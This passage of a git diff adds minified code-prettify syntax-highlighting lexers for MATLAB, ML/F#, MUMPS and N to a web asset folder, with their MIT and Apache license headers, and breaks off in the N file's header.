@@ -0,0 +1,29 @@
+/*
+
+ Copyright (c) 2013 by Amro <amroamroamro@gmail.com>
+
+ Permission is hereby granted, free of charge, to any person obtaining a copy
+ of this software and associated documentation files (the "Software"), to deal
+ in the Software without restriction, including without limitation the rights
+ to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
+ copies of the Software, and to permit persons to whom the Software is
+ furnished to do so, subject to the following conditions:
+
+ The above copyright notice and this permission notice shall be included in
+ all copies or substantial portions of the Software.
+
+ THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+ IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
+ FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
+ AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
+ LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
+ OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
+ THE SOFTWARE.
+*/
+var a=window.PR,b=[[a.PR_PLAIN,/^[ \t\r\n\v\f\xA0]+/,null," \t\r\n\x0B\f\u00a0"],[a.PR_COMMENT,/^%\{[^%]*%+(?:[^\}%][^%]*%+)*\}/,null],[a.PR_COMMENT,/^%[^\r\n]*/,null,"%"],["syscmd",/^![^\r\n]*/,null,"!"]],c=[["linecont",/^\.\.\.\s*[\r\n]/,null],["err",/^\?\?\? [^\r\n]*/,null],["wrn",/^Warning: [^\r\n]*/,null],["codeoutput",/^>>\s+/,null],["codeoutput",/^octave:\d+>\s+/,null],["lang-matlab-operators",/^((?:[a-zA-Z][a-zA-Z0-9_]*(?:\.[a-zA-Z][a-zA-Z0-9_]*)*|\)|\]|\}|\.)')/,null],["lang-matlab-identifiers",
+/^([a-zA-Z][a-zA-Z0-9_]*(?:\.[a-zA-Z][a-zA-Z0-9_]*)*)(?!')/,null],[a.PR_STRING,/^'(?:[^']|'')*'/,null],[a.PR_LITERAL,/^[+\-]?\.?\d+(?:\.\d*)?(?:[Ee][+\-]?\d+)?[ij]?/,null],[a.PR_TAG,/^(?:\{|\}|\(|\)|\[|\])/,null],[a.PR_PUNCTUATION,/^(?:<|>|=|~|@|&|;|,|:|!|\-|\+|\*|\^|\.|\||\\|\/)/,null]],d=[["lang-matlab-identifiers",/^([a-zA-Z][a-zA-Z0-9_]*(?:\.[a-zA-Z][a-zA-Z0-9_]*)*)/,null],[a.PR_TAG,/^(?:\{|\}|\(|\)|\[|\])/,null],[a.PR_PUNCTUATION,/^(?:<|>|=|~|@|&|;|,|:|!|\-|\+|\*|\^|\.|\||\\|\/)/,null],["transpose",
+/^'/,null]];
+a.registerLangHandler(a.createSimpleLexer([],[[a.PR_KEYWORD,/^\b(?:break|case|catch|classdef|continue|else|elseif|end|for|function|global|if|otherwise|parfor|persistent|return|spmd|switch|try|while)\b/,null],["const",/^\b(?:true|false|inf|Inf|nan|NaN|eps|pi|ans|nargin|nargout|varargin|varargout)\b/,null],[a.PR_TYPE,/^\b(?:cell|struct|char|double|single|logical|u?int(?:8|16|32|64)|sparse)\b/,null],["fun",/^\b(?:abs|accumarray|acos(?:d|h)?|acot(?:d|h)?|acsc(?:d|h)?|actxcontrol(?:list|select)?|actxGetRunningServer|actxserver|addlistener|addpath|addpref|addtodate|airy|align|alim|all|allchild|alpha|alphamap|amd|ancestor|and|angle|annotation|any|area|arrayfun|asec(?:d|h)?|asin(?:d|h)?|assert|assignin|atan(?:2|d|h)?|audiodevinfo|audioplayer|audiorecorder|aufinfo|auread|autumn|auwrite|avifile|aviinfo|aviread|axes|axis|balance|bar(?:3|3h|h)?|base2dec|beep|BeginInvoke|bench|bessel(?:h|i|j|k|y)|beta|betainc|betaincinv|betaln|bicg|bicgstab|bicgstabl|bin2dec|bitand|bitcmp|bitget|bitmax|bitnot|bitor|bitset|bitshift|bitxor|blanks|blkdiag|bone|box|brighten|brush|bsxfun|builddocsearchdb|builtin|bvp4c|bvp5c|bvpget|bvpinit|bvpset|bvpxtend|calendar|calllib|callSoapService|camdolly|cameratoolbar|camlight|camlookat|camorbit|campan|campos|camproj|camroll|camtarget|camup|camva|camzoom|cart2pol|cart2sph|cast|cat|caxis|cd|cdf2rdf|cdfepoch|cdfinfo|cdflib(?:.(?:close|closeVar|computeEpoch|computeEpoch16|create|createAttr|createVar|delete|deleteAttr|deleteAttrEntry|deleteAttrgEntry|deleteVar|deleteVarRecords|epoch16Breakdown|epochBreakdown|getAttrEntry|getAttrgEntry|getAttrMaxEntry|getAttrMaxgEntry|getAttrName|getAttrNum|getAttrScope|getCacheSize|getChecksum|getCompression|getCompressionCacheSize|getConstantNames|getConstantValue|getCopyright|getFileBackward|getFormat|getLibraryCopyright|getLibraryVersion|getMajority|getName|getNumAttrEntries|getNumAttrgEntries|getNumAttributes|getNumgAttributes|getReadOnlyMode|getStageCacheSize|getValidate|getVarAllocRecords|getVarBlockingFactor|getVarCacheSize|getVarCompression|getVarData|getVarMaxAllocRecNum|getVarMaxWrittenRecNum|getVarName|getVarNum|getVarNumRecsWritten|getVarPadValue|getVarRecordData|getVarReservePercent|getVarsMaxWrittenRecNum|getVarSparseRecords|getVersion|hyperGetVarData|hyperPutVarData|inquire|inquireAttr|inquireAttrEntry|inquireAttrgEntry|inquireVar|open|putAttrEntry|putAttrgEntry|putVarData|putVarRecordData|renameAttr|renameVar|setCacheSize|setChecksum|setCompression|setCompressionCacheSize|setFileBackward|setFormat|setMajority|setReadOnlyMode|setStageCacheSize|setValidate|setVarAllocBlockRecords|setVarBlockingFactor|setVarCacheSize|setVarCompression|setVarInitialRecs|setVarPadValue|SetVarReservePercent|setVarsCacheSize|setVarSparseRecords))?|cdfread|cdfwrite|ceil|cell2mat|cell2struct|celldisp|cellfun|cellplot|cellstr|cgs|checkcode|checkin|checkout|chol|cholinc|cholupdate|circshift|cla|clabel|class|clc|clear|clearvars|clf|clipboard|clock|close|closereq|cmopts|cmpermute|cmunique|colamd|colon|colorbar|colordef|colormap|colormapeditor|colperm|Combine|comet|comet3|commandhistory|commandwindow|compan|compass|complex|computer|cond|condeig|condest|coneplot|conj|containers.Map|contour(?:3|c|f|slice)?|contrast|conv|conv2|convhull|convhulln|convn|cool|copper|copyfile|copyobj|corrcoef|cos(?:d|h)?|cot(?:d|h)?|cov|cplxpair|cputime|createClassFromWsdl|createSoapMessage|cross|csc(?:d|h)?|csvread|csvwrite|ctranspose|cumprod|cumsum|cumtrapz|curl|customverctrl|cylinder|daqread|daspect|datacursormode|datatipinfo|date|datenum|datestr|datetick|datevec|dbclear|dbcont|dbdown|dblquad|dbmex|dbquit|dbstack|dbstatus|dbstep|dbstop|dbtype|dbup|dde23|ddeget|ddesd|ddeset|deal|deblank|dec2base|dec2bin|dec2hex|decic|deconv|del2|delaunay|delaunay3|delaunayn|DelaunayTri|delete|demo|depdir|depfun|det|detrend|deval|diag|dialog|diary|diff|diffuse|dir|disp|display|dither|divergence|dlmread|dlmwrite|dmperm|doc|docsearch|dos|dot|dragrect|drawnow|dsearch|dsearchn|dynamicprops|echo|echodemo|edit|eig|eigs|ellipj|ellipke|ellipsoid|empty|enableNETfromNetworkDrive|enableservice|EndInvoke|enumeration|eomday|eq|erf|erfc|erfcinv|erfcx|erfinv|error|errorbar|errordlg|etime|etree|etreeplot|eval|evalc|evalin|event.(?:EventData|listener|PropertyEvent|proplistener)|exifread|exist|exit|exp|expint|expm|expm1|export2wsdlg|eye|ezcontour|ezcontourf|ezmesh|ezmeshc|ezplot|ezplot3|ezpolar|ezsurf|ezsurfc|factor|factorial|fclose|feather|feature|feof|ferror|feval|fft|fft2|fftn|fftshift|fftw|fgetl|fgets|fieldnames|figure|figurepalette|fileattrib|filebrowser|filemarker|fileparts|fileread|filesep|fill|fill3|filter|filter2|find|findall|findfigs|findobj|findstr|finish|fitsdisp|fitsinfo|fitsread|fitswrite|fix|flag|flipdim|fliplr|flipud|floor|flow|fminbnd|fminsearch|fopen|format|fplot|fprintf|frame2im|fread|freqspace|frewind|fscanf|fseek|ftell|FTP|full|fullfile|func2str|functions|funm|fwrite|fzero|gallery|gamma|gammainc|gammaincinv|gammaln|gca|gcbf|gcbo|gcd|gcf|gco|ge|genpath|genvarname|get|getappdata|getenv|getfield|getframe|getpixelposition|getpref|ginput|gmres|gplot|grabcode|gradient|gray|graymon|grid|griddata(?:3|n)?|griddedInterpolant|gsvd|gt|gtext|guidata|guide|guihandles|gunzip|gzip|h5create|h5disp|h5info|h5read|h5readatt|h5write|h5writeatt|hadamard|handle|hankel|hdf|hdf5|hdf5info|hdf5read|hdf5write|hdfinfo|hdfread|hdftool|help|helpbrowser|helpdesk|helpdlg|helpwin|hess|hex2dec|hex2num|hgexport|hggroup|hgload|hgsave|hgsetget|hgtransform|hidden|hilb|hist|histc|hold|home|horzcat|hostid|hot|hsv|hsv2rgb|hypot|ichol|idivide|ifft|ifft2|ifftn|ifftshift|ilu|im2frame|im2java|imag|image|imagesc|imapprox|imfinfo|imformats|import|importdata|imread|imwrite|ind2rgb|ind2sub|inferiorto|info|inline|inmem|inpolygon|input|inputdlg|inputname|inputParser|inspect|instrcallback|instrfind|instrfindall|int2str|integral(?:2|3)?|interp(?:1|1q|2|3|ft|n)|interpstreamspeed|intersect|intmax|intmin|inv|invhilb|ipermute|isa|isappdata|iscell|iscellstr|ischar|iscolumn|isdir|isempty|isequal|isequaln|isequalwithequalnans|isfield|isfinite|isfloat|isglobal|ishandle|ishghandle|ishold|isinf|isinteger|isjava|iskeyword|isletter|islogical|ismac|ismatrix|ismember|ismethod|isnan|isnumeric|isobject|isocaps|isocolors|isonormals|isosurface|ispc|ispref|isprime|isprop|isreal|isrow|isscalar|issorted|isspace|issparse|isstr|isstrprop|isstruct|isstudent|isunix|isvarname|isvector|javaaddpath|javaArray|javachk|javaclasspath|javacomponent|javaMethod|javaMethodEDT|javaObject|javaObjectEDT|javarmpath|jet|keyboard|kron|lasterr|lasterror|lastwarn|lcm|ldivide|ldl|le|legend|legendre|length|libfunctions|libfunctionsview|libisloaded|libpointer|libstruct|license|light|lightangle|lighting|lin2mu|line|lines|linkaxes|linkdata|linkprop|linsolve|linspace|listdlg|listfonts|load|loadlibrary|loadobj|log|log10|log1p|log2|loglog|logm|logspace|lookfor|lower|ls|lscov|lsqnonneg|lsqr|lt|lu|luinc|magic|makehgtform|mat2cell|mat2str|material|matfile|matlab.io.MatFile|matlab.mixin.(?:Copyable|Heterogeneous(?:.getDefaultScalarElement)?)|matlabrc|matlabroot|max|maxNumCompThreads|mean|median|membrane|memmapfile|memory|menu|mesh|meshc|meshgrid|meshz|meta.(?:class(?:.fromName)?|DynamicProperty|EnumeratedValue|event|MetaData|method|package(?:.(?:fromName|getAllPackages))?|property)|metaclass|methods|methodsview|mex(?:.getCompilerConfigurations)?|MException|mexext|mfilename|min|minres|minus|mislocked|mkdir|mkpp|mldivide|mlint|mlintrpt|mlock|mmfileinfo|mmreader|mod|mode|more|move|movefile|movegui|movie|movie2avi|mpower|mrdivide|msgbox|mtimes|mu2lin|multibandread|multibandwrite|munlock|namelengthmax|nargchk|narginchk|nargoutchk|native2unicode|nccreate|ncdisp|nchoosek|ncinfo|ncread|ncreadatt|ncwrite|ncwriteatt|ncwriteschema|ndgrid|ndims|ne|NET(?:.(?:addAssembly|Assembly|convertArray|createArray|createGeneric|disableAutoRelease|enableAutoRelease|GenericClass|invokeGenericMethod|NetException|setStaticProperty))?|netcdf.(?:abort|close|copyAtt|create|defDim|defGrp|defVar|defVarChunking|defVarDeflate|defVarFill|defVarFletcher32|delAtt|endDef|getAtt|getChunkCache|getConstant|getConstantNames|getVar|inq|inqAtt|inqAttID|inqAttName|inqDim|inqDimID|inqDimIDs|inqFormat|inqGrpName|inqGrpNameFull|inqGrpParent|inqGrps|inqLibVers|inqNcid|inqUnlimDims|inqVar|inqVarChunking|inqVarDeflate|inqVarFill|inqVarFletcher32|inqVarID|inqVarIDs|open|putAtt|putVar|reDef|renameAtt|renameDim|renameVar|setChunkCache|setDefaultFormat|setFill|sync)|newplot|nextpow2|nnz|noanimate|nonzeros|norm|normest|not|notebook|now|nthroot|null|num2cell|num2hex|num2str|numel|nzmax|ode(?:113|15i|15s|23|23s|23t|23tb|45)|odeget|odeset|odextend|onCleanup|ones|open|openfig|opengl|openvar|optimget|optimset|or|ordeig|orderfields|ordqz|ordschur|orient|orth|pack|padecoef|pagesetupdlg|pan|pareto|parseSoapResponse|pascal|patch|path|path2rc|pathsep|pathtool|pause|pbaspect|pcg|pchip|pcode|pcolor|pdepe|pdeval|peaks|perl|perms|permute|pie|pink|pinv|planerot|playshow|plot|plot3|plotbrowser|plotedit|plotmatrix|plottools|plotyy|plus|pol2cart|polar|poly|polyarea|polyder|polyeig|polyfit|polyint|polyval|polyvalm|pow2|power|ppval|prefdir|preferences|primes|print|printdlg|printopt|printpreview|prod|profile|profsave|propedit|propertyeditor|psi|publish|PutCharArray|PutFullMatrix|PutWorkspaceData|pwd|qhull|qmr|qr|qrdelete|qrinsert|qrupdate|quad|quad2d|quadgk|quadl|quadv|questdlg|quit|quiver|quiver3|qz|rand|randi|randn|randperm|RandStream(?:.(?:create|getDefaultStream|getGlobalStream|list|setDefaultStream|setGlobalStream))?|rank|rat|rats|rbbox|rcond|rdivide|readasync|real|reallog|realmax|realmin|realpow|realsqrt|record|rectangle|rectint|recycle|reducepatch|reducevolume|refresh|refreshdata|regexp|regexpi|regexprep|regexptranslate|rehash|rem|Remove|RemoveAll|repmat|reset|reshape|residue|restoredefaultpath|rethrow|rgb2hsv|rgb2ind|rgbplot|ribbon|rmappdata|rmdir|rmfield|rmpath|rmpref|rng|roots|rose|rosser|rot90|rotate|rotate3d|round|rref|rsf2csf|run|save|saveas|saveobj|savepath|scatter|scatter3|schur|sec|secd|sech|selectmoveresize|semilogx|semilogy|sendmail|serial|set|setappdata|setdiff|setenv|setfield|setpixelposition|setpref|setstr|setxor|shading|shg|shiftdim|showplottool|shrinkfaces|sign|sin(?:d|h)?|size|slice|smooth3|snapnow|sort|sortrows|sound|soundsc|spalloc|spaugment|spconvert|spdiags|specular|speye|spfun|sph2cart|sphere|spinmap|spline|spones|spparms|sprand|sprandn|sprandsym|sprank|spring|sprintf|spy|sqrt|sqrtm|squeeze|ss2tf|sscanf|stairs|startup|std|stem|stem3|stopasync|str2double|str2func|str2mat|str2num|strcat|strcmp|strcmpi|stream2|stream3|streamline|streamparticles|streamribbon|streamslice|streamtube|strfind|strjust|strmatch|strncmp|strncmpi|strread|strrep|strtok|strtrim|struct2cell|structfun|strvcat|sub2ind|subplot|subsasgn|subsindex|subspace|subsref|substruct|subvolume|sum|summer|superclasses|superiorto|support|surf|surf2patch|surface|surfc|surfl|surfnorm|svd|svds|swapbytes|symamd|symbfact|symmlq|symrcm|symvar|system|tan(?:d|h)?|tar|tempdir|tempname|tetramesh|texlabel|text|textread|textscan|textwrap|tfqmr|throw|tic|Tiff(?:.(?:getTagNames|getVersion))?|timer|timerfind|timerfindall|times|timeseries|title|toc|todatenum|toeplitz|toolboxdir|trace|transpose|trapz|treelayout|treeplot|tril|trimesh|triplequad|triplot|TriRep|TriScatteredInterp|trisurf|triu|tscollection|tsearch|tsearchn|tstool|type|typecast|uibuttongroup|uicontextmenu|uicontrol|uigetdir|uigetfile|uigetpref|uiimport|uimenu|uiopen|uipanel|uipushtool|uiputfile|uiresume|uisave|uisetcolor|uisetfont|uisetpref|uistack|uitable|uitoggletool|uitoolbar|uiwait|uminus|undocheckout|unicode2native|union|unique|unix|unloadlibrary|unmesh|unmkpp|untar|unwrap|unzip|uplus|upper|urlread|urlwrite|usejava|userpath|validateattributes|validatestring|vander|var|vectorize|ver|verctrl|verLessThan|version|vertcat|VideoReader(?:.isPlatformSupported)?|VideoWriter(?:.getProfiles)?|view|viewmtx|visdiff|volumebounds|voronoi|voronoin|wait|waitbar|waitfor|waitforbuttonpress|warndlg|warning|waterfall|wavfinfo|wavplay|wavread|wavrecord|wavwrite|web|weekday|what|whatsnew|which|whitebg|who|whos|wilkinson|winopen|winqueryreg|winter|wk1finfo|wk1read|wk1write|workspace|xlabel|xlim|xlsfinfo|xlsread|xlswrite|xmlread|xmlwrite|xor|xslt|ylabel|ylim|zeros|zip|zlabel|zlim|zoom)\b/,null],
+["fun_tbx",/^\b(?:addedvarplot|andrewsplot|anova(?:1|2|n)|ansaribradley|aoctool|barttest|bbdesign|beta(?:cdf|fit|inv|like|pdf|rnd|stat)|bino(?:cdf|fit|inv|pdf|rnd|stat)|biplot|bootci|bootstrp|boxplot|candexch|candgen|canoncorr|capability|capaplot|caseread|casewrite|categorical|ccdesign|cdfplot|chi2(?:cdf|gof|inv|pdf|rnd|stat)|cholcov|Classification(?:BaggedEnsemble|Discriminant(?:.(?:fit|make|template))?|Ensemble|KNN(?:.(?:fit|template))?|PartitionedEnsemble|PartitionedModel|Tree(?:.(?:fit|template))?)|classify|classregtree|cluster|clusterdata|cmdscale|combnk|Compact(?:Classification(?:Discriminant|Ensemble|Tree)|Regression(?:Ensemble|Tree)|TreeBagger)|confusionmat|controlchart|controlrules|cophenet|copula(?:cdf|fit|param|pdf|rnd|stat)|cordexch|corr|corrcov|coxphfit|createns|crosstab|crossval|cvpartition|datasample|dataset|daugment|dcovary|dendrogram|dfittool|disttool|dummyvar|dwtest|ecdf|ecdfhist|ev(?:cdf|fit|inv|like|pdf|rnd|stat)|ExhaustiveSearcher|exp(?:cdf|fit|inv|like|pdf|rnd|stat)|factoran|fcdf|ff2n|finv|fitdist|fitensemble|fpdf|fracfact|fracfactgen|friedman|frnd|fstat|fsurfht|fullfact|gagerr|gam(?:cdf|fit|inv|like|pdf|rnd|stat)|GeneralizedLinearModel(?:.fit)?|geo(?:cdf|inv|mean|pdf|rnd|stat)|gev(?:cdf|fit|inv|like|pdf|rnd|stat)|gline|glmfit|glmval|glyphplot|gmdistribution(?:.fit)?|gname|gp(?:cdf|fit|inv|like|pdf|rnd|stat)|gplotmatrix|grp2idx|grpstats|gscatter|haltonset|harmmean|hist3|histfit|hmm(?:decode|estimate|generate|train|viterbi)|hougen|hyge(?:cdf|inv|pdf|rnd|stat)|icdf|inconsistent|interactionplot|invpred|iqr|iwishrnd|jackknife|jbtest|johnsrnd|KDTreeSearcher|kmeans|knnsearch|kruskalwallis|ksdensity|kstest|kstest2|kurtosis|lasso|lassoglm|lassoPlot|leverage|lhsdesign|lhsnorm|lillietest|LinearModel(?:.fit)?|linhyptest|linkage|logn(?:cdf|fit|inv|like|pdf|rnd|stat)|lsline|mad|mahal|maineffectsplot|manova1|manovacluster|mdscale|mhsample|mle|mlecov|mnpdf|mnrfit|mnrnd|mnrval|moment|multcompare|multivarichart|mvn(?:cdf|pdf|rnd)|mvregress|mvregresslike|mvt(?:cdf|pdf|rnd)|NaiveBayes(?:.fit)?|nan(?:cov|max|mean|median|min|std|sum|var)|nbin(?:cdf|fit|inv|pdf|rnd|stat)|ncf(?:cdf|inv|pdf|rnd|stat)|nct(?:cdf|inv|pdf|rnd|stat)|ncx2(?:cdf|inv|pdf|rnd|stat)|NeighborSearcher|nlinfit|nlintool|nlmefit|nlmefitsa|nlparci|nlpredci|nnmf|nominal|NonLinearModel(?:.fit)?|norm(?:cdf|fit|inv|like|pdf|rnd|stat)|normplot|normspec|ordinal|outlierMeasure|parallelcoords|paretotails|partialcorr|pcacov|pcares|pdf|pdist|pdist2|pearsrnd|perfcurve|perms|piecewisedistribution|plsregress|poiss(?:cdf|fit|inv|pdf|rnd|tat)|polyconf|polytool|prctile|princomp|ProbDist(?:Kernel|Parametric|UnivKernel|UnivParam)?|probplot|procrustes|qqplot|qrandset|qrandstream|quantile|randg|random|randsample|randtool|range|rangesearch|ranksum|rayl(?:cdf|fit|inv|pdf|rnd|stat)|rcoplot|refcurve|refline|regress|Regression(?:BaggedEnsemble|Ensemble|PartitionedEnsemble|PartitionedModel|Tree(?:.(?:fit|template))?)|regstats|relieff|ridge|robustdemo|robustfit|rotatefactors|rowexch|rsmdemo|rstool|runstest|sampsizepwr|scatterhist|sequentialfs|signrank|signtest|silhouette|skewness|slicesample|sobolset|squareform|statget|statset|stepwise|stepwisefit|surfht|tabulate|tblread|tblwrite|tcdf|tdfread|tiedrank|tinv|tpdf|TreeBagger|treedisp|treefit|treeprune|treetest|treeval|trimmean|trnd|tstat|ttest|ttest2|unid(?:cdf|inv|pdf|rnd|stat)|unif(?:cdf|inv|it|pdf|rnd|stat)|vartest(?:2|n)?|wbl(?:cdf|fit|inv|like|pdf|rnd|stat)|wblplot|wishrnd|x2fx|xptread|zscore|ztest)\b/,
+null],["fun_tbx",/^\b(?:adapthisteq|analyze75info|analyze75read|applycform|applylut|axes2pix|bestblk|blockproc|bwarea|bwareaopen|bwboundaries|bwconncomp|bwconvhull|bwdist|bwdistgeodesic|bweuler|bwhitmiss|bwlabel|bwlabeln|bwmorph|bwpack|bwperim|bwselect|bwtraceboundary|bwulterode|bwunpack|checkerboard|col2im|colfilt|conndef|convmtx2|corner|cornermetric|corr2|cp2tform|cpcorr|cpselect|cpstruct2pairs|dct2|dctmtx|deconvblind|deconvlucy|deconvreg|deconvwnr|decorrstretch|demosaic|dicom(?:anon|dict|info|lookup|read|uid|write)|edge|edgetaper|entropy|entropyfilt|fan2para|fanbeam|findbounds|fliptform|freqz2|fsamp2|fspecial|ftrans2|fwind1|fwind2|getheight|getimage|getimagemodel|getline|getneighbors|getnhood|getpts|getrangefromclass|getrect|getsequence|gray2ind|graycomatrix|graycoprops|graydist|grayslice|graythresh|hdrread|hdrwrite|histeq|hough|houghlines|houghpeaks|iccfind|iccread|iccroot|iccwrite|idct2|ifanbeam|im2bw|im2col|im2double|im2int16|im2java2d|im2single|im2uint16|im2uint8|imabsdiff|imadd|imadjust|ImageAdapter|imageinfo|imagemodel|imapplymatrix|imattributes|imbothat|imclearborder|imclose|imcolormaptool|imcomplement|imcontour|imcontrast|imcrop|imdilate|imdisplayrange|imdistline|imdivide|imellipse|imerode|imextendedmax|imextendedmin|imfill|imfilter|imfindcircles|imfreehand|imfuse|imgca|imgcf|imgetfile|imhandles|imhist|imhmax|imhmin|imimposemin|imlincomb|imline|immagbox|immovie|immultiply|imnoise|imopen|imoverview|imoverviewpanel|impixel|impixelinfo|impixelinfoval|impixelregion|impixelregionpanel|implay|impoint|impoly|impositionrect|improfile|imputfile|impyramid|imreconstruct|imrect|imregconfig|imregionalmax|imregionalmin|imregister|imresize|imroi|imrotate|imsave|imscrollpanel|imshow|imshowpair|imsubtract|imtool|imtophat|imtransform|imview|ind2gray|ind2rgb|interfileinfo|interfileread|intlut|ippl|iptaddcallback|iptcheckconn|iptcheckhandle|iptcheckinput|iptcheckmap|iptchecknargin|iptcheckstrs|iptdemos|iptgetapi|iptGetPointerBehavior|iptgetpref|ipticondir|iptnum2ordinal|iptPointerManager|iptprefs|iptremovecallback|iptSetPointerBehavior|iptsetpref|iptwindowalign|iradon|isbw|isflat|isgray|isicc|isind|isnitf|isrgb|isrset|lab2double|lab2uint16|lab2uint8|label2rgb|labelmatrix|makecform|makeConstrainToRectFcn|makehdr|makelut|makeresampler|maketform|mat2gray|mean2|medfilt2|montage|nitfinfo|nitfread|nlfilter|normxcorr2|ntsc2rgb|openrset|ordfilt2|otf2psf|padarray|para2fan|phantom|poly2mask|psf2otf|qtdecomp|qtgetblk|qtsetblk|radon|rangefilt|reflect|regionprops|registration.metric.(?:MattesMutualInformation|MeanSquares)|registration.optimizer.(?:OnePlusOneEvolutionary|RegularStepGradientDescent)|rgb2gray|rgb2ntsc|rgb2ycbcr|roicolor|roifill|roifilt2|roipoly|rsetwrite|std2|stdfilt|strel|stretchlim|subimage|tformarray|tformfwd|tforminv|tonemap|translate|truesize|uintlut|viscircles|warp|watershed|whitepoint|wiener2|xyz2double|xyz2uint16|ycbcr2rgb)\b/,
+null],["fun_tbx",/^\b(?:bintprog|color|fgoalattain|fminbnd|fmincon|fminimax|fminsearch|fminunc|fseminf|fsolve|fzero|fzmult|gangstr|ktrlink|linprog|lsqcurvefit|lsqlin|lsqnonlin|lsqnonneg|optimget|optimset|optimtool|quadprog)\b/,null],["ident",/^[a-zA-Z][a-zA-Z0-9_]*(?:\.[a-zA-Z][a-zA-Z0-9_]*)*/,null]]),["matlab-identifiers"]);a.registerLangHandler(a.createSimpleLexer([],d),["matlab-operators"]);a.registerLangHandler(a.createSimpleLexer(b,c),["matlab"]);
diff --git a/modules/utilities/unix/hackerbot/files/www/js/code-prettify/loader/lang-ml.js b/modules/utilities/unix/hackerbot/files/www/js/code-prettify/loader/lang-ml.js
new file mode 100644
index 000000000..c012a3ff4
--- /dev/null
+++ b/modules/utilities/unix/hackerbot/files/www/js/code-prettify/loader/lang-ml.js
@@ -0,0 +1,18 @@
+/*
+
+ Copyright (C) 2008 Google Inc.
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+    http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+*/
+PR.registerLangHandler(PR.createSimpleLexer([["pln",/^[\t\n\r \xA0]+/,null,"\t\n\r \u00a0"],["com",/^#(?:if[\t\n\r \xA0]+(?:[a-z_$][\w\']*|``[^\r\n\t`]*(?:``|$))|else|endif|light)/i,null,"#"],["str",/^(?:\"(?:[^\"\\]|\\[\s\S])*(?:\"|$)|\'(?:[^\'\\]|\\[\s\S])(?:\'|$))/,null,"\"'"]],[["com",/^(?:\/\/[^\r\n]*|\(\*[\s\S]*?\*\))/],["kwd",/^(?:abstract|and|as|assert|begin|class|default|delegate|do|done|downcast|downto|elif|else|end|exception|extern|false|finally|for|fun|function|if|in|inherit|inline|interface|internal|lazy|let|match|member|module|mutable|namespace|new|null|of|open|or|override|private|public|rec|return|static|struct|then|to|true|try|type|upcast|use|val|void|when|while|with|yield|asr|land|lor|lsl|lsr|lxor|mod|sig|atomic|break|checked|component|const|constraint|constructor|continue|eager|event|external|fixed|functor|global|include|method|mixin|object|parallel|process|protected|pure|sealed|trait|virtual|volatile)\b/],
+["lit",/^[+\-]?(?:0x[\da-f]+|(?:(?:\.\d+|\d+(?:\.\d*)?)(?:e[+\-]?\d+)?))/i],["pln",/^(?:[a-z_][\w']*[!?#]?|``[^\r\n\t`]*(?:``|$))/i],["pun",/^[^\t\n\r \xA0\"\'\w]+/]]),["fs","ml"]);
diff --git a/modules/utilities/unix/hackerbot/files/www/js/code-prettify/loader/lang-mumps.js b/modules/utilities/unix/hackerbot/files/www/js/code-prettify/loader/lang-mumps.js
new file mode 100644
index 000000000..6d5125891
--- /dev/null
+++ b/modules/utilities/unix/hackerbot/files/www/js/code-prettify/loader/lang-mumps.js
@@ -0,0 +1,18 @@
+/*
+
+ Copyright (C) 2011 Kitware Inc.
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+    http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+*/
+PR.registerLangHandler(PR.createSimpleLexer([["pln",/^[\t\n\r \xA0]+/,null,"\t\n\r \u00a0"],["str",/^(?:"(?:[^"]|\\.)*")/,null,'"']],[["com",/^;[^\r\n]*/,null,";"],["dec",/^(?:\$(?:D|DEVICE|EC|ECODE|ES|ESTACK|ET|ETRAP|H|HOROLOG|I|IO|J|JOB|K|KEY|P|PRINCIPAL|Q|QUIT|ST|STACK|S|STORAGE|SY|SYSTEM|T|TEST|TL|TLEVEL|TR|TRESTART|X|Y|Z[A-Z]*|A|ASCII|C|CHAR|D|DATA|E|EXTRACT|F|FIND|FN|FNUMBER|G|GET|J|JUSTIFY|L|LENGTH|NA|NAME|O|ORDER|P|PIECE|QL|QLENGTH|QS|QSUBSCRIPT|Q|QUERY|R|RANDOM|RE|REVERSE|S|SELECT|ST|STACK|T|TEXT|TR|TRANSLATE|NaN))\b/i,
+null],["kwd",/^(?:[^\$]B|BREAK|C|CLOSE|D|DO|E|ELSE|F|FOR|G|GOTO|H|HALT|H|HANG|I|IF|J|JOB|K|KILL|L|LOCK|M|MERGE|N|NEW|O|OPEN|Q|QUIT|R|READ|S|SET|TC|TCOMMIT|TRE|TRESTART|TRO|TROLLBACK|TS|TSTART|U|USE|V|VIEW|W|WRITE|X|XECUTE)\b/i,null],["lit",/^[+-]?(?:(?:\.\d+|\d+(?:\.\d*)?)(?:E[+\-]?\d+)?)/i],["pln",/^[a-z][a-zA-Z0-9]*/i],["pun",/^[^\w\t\n\r\xA0\"\$;%\^]|_/]]),["mumps"]);
diff --git a/modules/utilities/unix/hackerbot/files/www/js/code-prettify/loader/lang-n.js b/modules/utilities/unix/hackerbot/files/www/js/code-prettify/loader/lang-n.js
new file mode 100644
index 000000000..9b3910c9a
--- /dev/null
+++ b/modules/utilities/unix/hackerbot/files/www/js/code-prettify/loader/lang-n.js
@@ -0,0 +1,19 @@
+/*
+
+ Copyright (C) 2011 Zimin A.V.
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+    http://www.apache.org/licenses/LICENSE-2.0
+
